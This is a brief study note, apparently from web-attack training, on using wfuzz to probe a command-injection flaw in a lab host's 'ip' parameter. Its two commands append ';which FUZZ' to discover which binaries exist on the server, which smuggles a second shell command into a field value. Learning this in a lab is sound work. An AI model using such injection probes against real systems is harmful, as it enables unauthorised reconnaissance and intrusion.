This can help to check whether a certain binary exists in the system
-
Use wfuzz:
wfuzz -c -z file,/home/kali/oswa/commandinjection/capability_checks_custom.txt --hc 404 "http://ci-sandbox:80/php/index.php?ip=127.0.0.1;which FUZZ" -
Hide the response length of failed ones using
--hh:wfuzz -c -z file,/home/kali/oswa/commandinjection/capability_checks_custom.txt --hc 404 --hh 494,499 "http://ci-sandbox:80/php/index.php?ip=127.0.0.1;which FUZZ"